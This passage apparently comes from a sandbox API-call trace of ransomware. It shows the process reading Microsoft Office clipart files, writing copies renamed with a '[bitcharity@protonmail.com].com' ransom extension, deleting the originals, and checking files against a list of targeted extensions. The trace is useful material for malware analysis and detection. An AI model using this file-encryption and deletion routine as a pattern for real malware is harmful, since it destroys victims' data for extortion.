(in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0287.082] GetLastError () returned 0x0 [0287.082] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1138, lpOverlapped=0x0) returned 1 [0287.084] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1140, lpOverlapped=0x0) returned 1 [0287.087] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.087] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.087] SetEndOfFile (hFile=0x10bc) returned 1 [0287.088] CloseHandle (hObject=0x10bc) returned 1 [0287.088] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.088] SetEndOfFile (hFile=0x10b8) returned 1 [0287.089] CloseHandle (hObject=0x10b8) returned 1 [0287.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0287.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0287.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.090] lstrlenW (lpString=".doc") returned 4 [0287.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.090] lstrlenW (lpString=".docx") returned 5 [0287.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.090] lstrlenW (lpString=".pdf") returned 4 [0287.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.090] lstrlenW (lpString=".xls") returned 4 [0287.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.090] lstrlenW (lpString=".xlsx") returned 5 [0287.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.090] lstrlenW (lpString=".ppt") returned 4 [0287.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.090] lstrlenW (lpString=".zip") returned 4 [0287.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.090] lstrlenW (lpString=".rar") returned 4 [0287.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.090] lstrlenW (lpString=".bz2") returned 4 [0287.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.090] lstrlenW (lpString=".7z") returned 3 [0287.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.090] lstrlenW (lpString=".dbf") returned 4 [0287.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.090] lstrlenW (lpString=".1cd") returned 4 [0287.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.090] lstrlenW (lpString=".jpg") returned 4 [0287.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.090] lstrlenW (lpString=".doc") returned 4 [0287.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.091] lstrlenW (lpString=".docx") returned 5 [0287.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.091] lstrlenW (lpString=".pdf") returned 4 [0287.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.091] lstrlenW (lpString=".xls") returned 4 [0287.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.091] lstrlenW (lpString=".xlsx") returned 5 [0287.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.091] lstrlenW (lpString=".ppt") returned 4 [0287.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.091] lstrlenW (lpString=".zip") returned 4 [0287.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.091] lstrlenW (lpString=".rar") returned 4 [0287.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.091] lstrlenW (lpString=".bz2") returned 4 [0287.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.091] lstrlenW (lpString=".7z") returned 3 [0287.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.091] lstrlenW (lpString=".dbf") returned 4 [0287.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.091] lstrlenW (lpString=".1cd") returned 4 [0287.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0287.091] lstrlenW (lpString=".jpg") returned 4 [0287.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.091] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.091] lstrlenW (lpString="BL00923_.WMF") returned 12 [0287.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0287.092] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=6256) returned 1 [0287.092] CloseHandle (hObject=0x10b8) returned 1 [0287.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0287.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0287.092] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.092] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0287.092] GetLastError () returned 0x0 [0287.092] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1870, lpOverlapped=0x0) returned 1 [0287.273] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1880, lpOverlapped=0x0) returned 1 [0287.274] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.274] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.274] SetEndOfFile (hFile=0x10bc) returned 1 [0288.518] CloseHandle (hObject=0x10bc) returned 1 [0288.518] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.519] SetEndOfFile (hFile=0x10b8) returned 1 [0288.519] CloseHandle (hObject=0x10b8) returned 1 [0288.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0288.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.520] lstrlenW (lpString=".doc") returned 4 [0288.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.520] lstrlenW (lpString=".docx") returned 5 [0288.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.520] lstrlenW (lpString=".pdf") returned 4 [0288.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.520] lstrlenW (lpString=".xls") returned 4 [0288.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.520] lstrlenW (lpString=".xlsx") returned 5 [0288.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.520] lstrlenW (lpString=".ppt") returned 4 [0288.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.520] lstrlenW (lpString=".zip") returned 4 [0288.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.521] lstrlenW (lpString=".rar") returned 4 [0288.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString=".bz2") returned 4 [0288.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString=".7z") returned 3 [0288.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.521] lstrlenW (lpString=".dbf") returned 4 [0288.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.521] lstrlenW (lpString=".1cd") returned 4 [0288.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.521] lstrlenW (lpString=".jpg") returned 4 [0288.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.521] lstrlenW (lpString=".doc") returned 4 [0288.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString=".docx") returned 5 [0288.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.521] lstrlenW (lpString=".pdf") returned 4 [0288.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString=".xls") returned 4 [0288.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.521] lstrlenW (lpString=".xlsx") returned 5 [0288.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.521] lstrlenW (lpString=".ppt") returned 4 [0288.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.521] lstrlenW (lpString=".zip") returned 4 [0288.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.521] lstrlenW (lpString=".rar") returned 4 [0288.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString=".bz2") returned 4 [0288.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.521] lstrlenW (lpString=".7z") returned 3 [0288.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.522] lstrlenW (lpString=".dbf") returned 4 [0288.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.522] lstrlenW (lpString=".1cd") returned 4 [0288.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0288.522] lstrlenW (lpString=".jpg") returned 4 [0288.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.522] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.522] lstrlenW (lpString="BS00200_.WMF") returned 12 [0288.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0288.522] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=3104) returned 1 [0288.522] CloseHandle (hObject=0x10b8) returned 1 [0288.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0288.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0288.522] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.523] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0288.523] GetLastError () returned 0x0 [0288.523] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xc20, lpOverlapped=0x0) returned 1 [0288.524] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xc30, lpOverlapped=0x0) returned 1 [0288.525] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.525] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.525] SetEndOfFile (hFile=0x10bc) returned 1 [0288.526] CloseHandle (hObject=0x10bc) returned 1 [0288.526] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.526] SetEndOfFile (hFile=0x10b8) returned 1 [0288.526] CloseHandle (hObject=0x10b8) returned 1 [0288.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0288.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.527] lstrlenW (lpString=".doc") returned 4 [0288.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.527] lstrlenW (lpString=".docx") returned 5 [0288.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.527] lstrlenW (lpString=".pdf") returned 4 [0288.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.527] lstrlenW (lpString=".xls") returned 4 [0288.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.527] lstrlenW (lpString=".xlsx") returned 5 [0288.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.527] lstrlenW (lpString=".ppt") returned 4 [0288.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.527] lstrlenW (lpString=".zip") returned 4 [0288.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.528] lstrlenW (lpString=".rar") returned 4 [0288.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.528] lstrlenW (lpString=".bz2") returned 4 [0288.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.528] lstrlenW (lpString=".7z") returned 3 [0288.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.528] lstrlenW (lpString=".dbf") returned 4 [0288.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.528] lstrlenW (lpString=".1cd") returned 4 [0288.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.528] lstrlenW (lpString=".jpg") returned 4 [0288.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.528] lstrlenW (lpString=".doc") returned 4 [0288.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.528] lstrlenW (lpString=".docx") returned 5 [0288.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.528] lstrlenW (lpString=".pdf") returned 4 [0288.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.528] lstrlenW (lpString=".xls") returned 4 [0288.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.528] lstrlenW (lpString=".xlsx") returned 5 [0288.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.528] lstrlenW (lpString=".ppt") returned 4 [0288.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.528] lstrlenW (lpString=".zip") returned 4 [0288.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.529] lstrlenW (lpString=".rar") returned 4 [0288.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.529] lstrlenW (lpString=".bz2") returned 4 [0288.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.529] lstrlenW (lpString=".7z") returned 3 [0288.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.529] lstrlenW (lpString=".dbf") returned 4 [0288.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.529] lstrlenW (lpString=".1cd") returned 4 [0288.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0288.529] lstrlenW (lpString=".jpg") returned 4 [0288.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.529] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.529] lstrlenW (lpString="BS00224_.WMF") returned 12 [0288.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0288.529] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1588) returned 1 [0288.529] CloseHandle (hObject=0x10b8) returned 1 [0288.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0288.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0288.530] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.530] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 